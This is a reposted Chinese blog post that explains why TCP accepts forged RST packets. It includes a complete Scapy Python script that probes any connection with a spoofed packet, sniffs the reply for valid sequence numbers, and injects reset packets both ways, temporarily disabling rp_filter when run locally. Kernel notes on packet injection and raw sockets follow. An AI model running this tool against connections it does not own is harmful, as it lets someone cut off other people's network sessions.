在任意位置Reset掉任意的TCP连接

栏目: 服务器 · 发布时间: 6年前

内容简介:版权声明:本文为博主原创,无版权,未经博主允许可以随意转载,无需注明出处,随意修改或保持可作为原创! https://blog.csdn.net/dog250/article/details/83830872

版权声明:本文为博主原创,无版权,未经博主允许可以随意转载,无需注明出处,随意修改或保持可作为原创! https://blog.csdn.net/dog250/article/details/83830872

漫漫长夜又要降临…黑夜里,我不敢点灯,复明日,阳光下,我不敢睁眼。

这篇文章完全来自于我在解决另一个问题是一个突然的想法。所以并没有什么前因后果。

我本来是想模拟一个TCP接收端对收到数据包的确认,采用了Scapy这个简单的工具,然而折腾了大半天没有顺利搞定。其实我是不怎么懂 Python 的,折腾了大半天之后,竟然对Python产生了兴趣,正好旁边有人碰到了TCP连接被莫名Reset掉的案例,借这个楼,就想写一个能把任意TCP连接给Reset掉的小程序,主要是为了用Python练一下手而已,熟悉一下Python快乐编程的过程,体验一把乐趣。

折腾Scapy这件事的结果补充一下,本初的愿望没有达成,没有完成探测拥塞控制行为的目的,反而学了一点Python,证实了我不会编程,但也不是一点都不会,我稍微会一点。

把任意的TCP连接给Reset掉是比较容易的,因为TCP在收到数据包时,对发送者仅仅做以下简单的校验:

  • 五元组校验;
  • 校验和检测;
  • 序列号校验。

这是非常松散的校验机制!此外,我们知道TCP是一个端到端的传输协议,这意味着它无法控制数据包在经由网络链路时的任何事件。于是乎以下的机制就是一个不得已的必须机制,而恰恰是该机制非常容易被利用,使得一个TCP连接非常容易被旁路干掉!该机制就是:

  • TCP接收到一个莫名其妙的乱序报文时,必须立即回复一个携带正确序列号和确认号的ACK报文!

我们核对一下Linux TCP实现在收到报文时的校验函数tcp_validate_incoming:

在任意位置Reset掉任意的TCP连接

于是乎,为了能让一个TCP端正确处理Reset报文,就必须可以通过 序列号校验 , 为了能获取 正确的序列号 , 可以用以上的机制给TCP其中一端发送一个 任意序列号的报文 ,如果你堵在两端的必经之路上,那就可以收到 正确的序列号报文 了。

其实本文的题目中, “在任意位置” 说的并不严谨,如果你猜不到正确的序列号,需要发送探测数据报文的话,那么想Reset掉连接必须有一个前提,即你必须能抓获这个探测包的回复报文,因为正确的信息都在这个回复报文里。然而如果你并没有将这个TCP杀手部署的连接的必经之路上,就不能保证回复的报文一定被抓取到。不管怎么样,相信办法还是有的。

下面是一个原理图:

在任意位置Reset掉任意的TCP连接

是不是非常简单的呢?是的!

这个小 工具 要是做出来也是蛮有用的,毕竟TCP不会想原始的RFC793里的状态机那么 闭环 ,有时真的是对端早就阵亡了,本端还会有一些TCP遗体,要想除掉它们,这个工具就比较有用了。此外,伟大的防火城墙最初不也是采用了这种方案双边Reset连接吗?

下面是我用Python练手的一个代码,可以完成上述原理图里的操作:

#!/usr/bin/python

import sys
import os
import thread
import time

import signal
from scapy.all import *

# 五元组的源IP地址,如果在其中一端执行,则为该端的IP地址
# 注意,源和目标为任意方向,不必以建立连接的主动和被动来区分。
src = sys.argv[1] 
# 五元组的目标IP
dst = sys.argv[2]
# 和源IP对应的源端口
sport = sys.argv[3]
# 和目标IP对应的目标端口
dport = sys.argv[4]
local = int(sys.argv[5])

flt = "dst host " + src + " and dst port " + sport + " and src host " + dst + " and src port " + dport

def signal_handler(signal, frame):
	os._exit(0)

def printrecv(pktdata):
	if TCP in pktdata and pktdata[TCP]:
		seqno = pktdata[TCP].ack
		ackno = pktdata[TCP].seq
		if local == 1:
			# 如果是在本机操作,则需要把lo的rp_filter关闭,这是因为构造的Reset是被灌入到loopback网卡的。
			all_rp = os.popen('cat /proc/sys/net/ipv4/conf/all/rp_filter').read()
			lo_rp = os.popen('cat /proc/sys/net/ipv4/conf/lo/rp_filter').read()
			os.popen('sysctl -w net.ipv4.conf.all.rp_filter=0')
			os.popen('sysctl -w net.ipv4.conf.lo.rp_filter=0')
			# 为了防止tcp_v4_rcv里面的PKT_HOST类型检查失败,强制一个MAC地址
			sendp(Ether(dst="00:00:00:00:00:00")/IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), iface="lo", verbose = 0)
			os.popen('sysctl -w net.ipv4.conf.all.rp_filter='+all_rp)
			os.popen('sysctl -w net.ipv4.conf.lo.rp_filter='+lo_rp)
		else:
			send(IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), verbose = 0)

		send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "R", seq=seqno), verbose = 0)
	os._exit(0)

def recv_packet(threadName, delay):
	# 抓取探测包的返回包,该返回包携带了正确的seq和ack
	sniff(prn = printrecv, store = 0, filter = flt)

if __name__ == '__main__':
	signal.signal(signal.SIGINT, signal_handler)
	# 创建抓包线程
	thread.start_new_thread(recv_packet, ("Thread-2", 4, ))
	time.sleep(1) # 等待抓包线程就绪后发送探测包
	send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "A"), verbose = 0)
	while 1:
		pass  # 空转,不是好方法!

这个代码仅仅是为了练习Python,其实有一个现成的杀TCP连接的工具,叫做tcpkill,它的Wiki在: https://en.wikipedia.org/wiki/Tcpkill

和tcpkill相比,我的这个比较low,但我没用过tcpkill,不晓得它有没有对待静默连接先探测的这个功能,请在使用前务必研究清楚。

现在,我来说一下做这个小程序时踩到的一些坑吧,如果对 Linux 的IP实现不熟悉,这些坑很难填平,当然这对于我来讲,并不是什么事。

  • 构造报文的loopback注入问题

如果在本机来杀一条本机的连接,那么我们抓到探测报文的返回报文后,就可以构造Reset报文了,这看似简单,但问题是这个构造的Reset如何注入到本机的TCP端。

Python的Scapy send/sendp均是用packet套接字来发送构造的RAW报文的,packet套接字必须注入到loopback网卡才能环回到本地TCP/IP协议栈,然而loopback接收的这个构造的报文源IP却是远端的TCP端点IP地址,这在loopback开启了rp_filter的情况下会无法通过验证的,即便是loopback的rp_filter关闭,还有一个all.rp_filter,系统在做validate source的时候,是取的二者之间的大值,即只要有一个开启,就会开启rp验证,所以在Python脚本中需要将二者全部关闭。

  • 目标MAC地址问题

使用send发送packet数据包会尝试绑定一个发送接口,然而目标地址就是本机的物理网卡的地址。构造报文是不可能通过物理网卡发送到wire上去的,而是会经由loopback环回到本地,然而此时必须指定一个目标MAC地址,否则将会取广播地址,而这个会在tcp_v4_rcv函数的开始,校验出错:

int tcp_v4_rcv(struct sk_buff *skb)
{
	const struct iphdr *iph;
	const struct tcphdr *th;
	struct sock *sk;
	int ret;
	struct net *net = dev_net(skb->dev);
	// 如果是广播MAC,type将不会是HOST
	if (skb->pkt_type != PACKET_HOST)
		goto discard_it;
  • RAW套接字和Packet套接字

起初我一直以为Scapy是通过RAW套接字发送数据包的,后来strace了一下发现是通过Packet套接字发送的。不过这里可以简单解释一下二者的区别。

  1. Packet套接字
    需要关联到一个特定的网卡直接发送,无需经过路由查找和地址解析。这是显然的,路由查找的目的无非也就是定位到一个网卡,现在网卡已经有了,直接发送即可,至于发到了哪里,能不能到达目的地,听天由命了。
  2. RAW套接字
    这种RAW套接字发送的报文是需要经过路由查找的,只是说IP头以及IP上层的协议以及数据可以自己构造。

Packet套接字非常直接和简单,这里不多说。

现在我来就着一个问题再来解释一下一个关于RAW套接字的问题。

既然在收报文的时候需要validate源地址的合理性,那么RAW套接字在发送报文的时候,路由逻辑是不是也需要validate一下源地址的合理性呢?毕竟RAW套接字的IP头是可以自行构造的,显然源地址也可以构造。

答案是需要看该RAW套接字的IP_HDRINCL socket选项有没有设置。

  • 如果设置了IP_HDRINCL选项
    绕过source validate逻辑,即构造的IP源地址可以是非本机地址。
  • 如果没有设置IP_HDRINCL选项
    忽略构造的IP源地址,以路由查找逻辑动态确定IP源地址。

嗯,这是我总结出的一个非常简单的解释。

浙江温州皮鞋湿,下雨进水不会胖!


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Nine Algorithms That Changed the Future

Nine Algorithms That Changed the Future

John MacCormick / Princeton University Press / 2011-12-27 / GBP 19.95

Every day, we use our computers to perform remarkable feats. A simple web search picks out a handful of relevant needles from the world's biggest haystack: the billions of pages on the World Wide Web.......一起来看看 《Nine Algorithms That Changed the Future》 这本书的介绍吧!

html转js在线工具
html转js在线工具

html转js在线工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具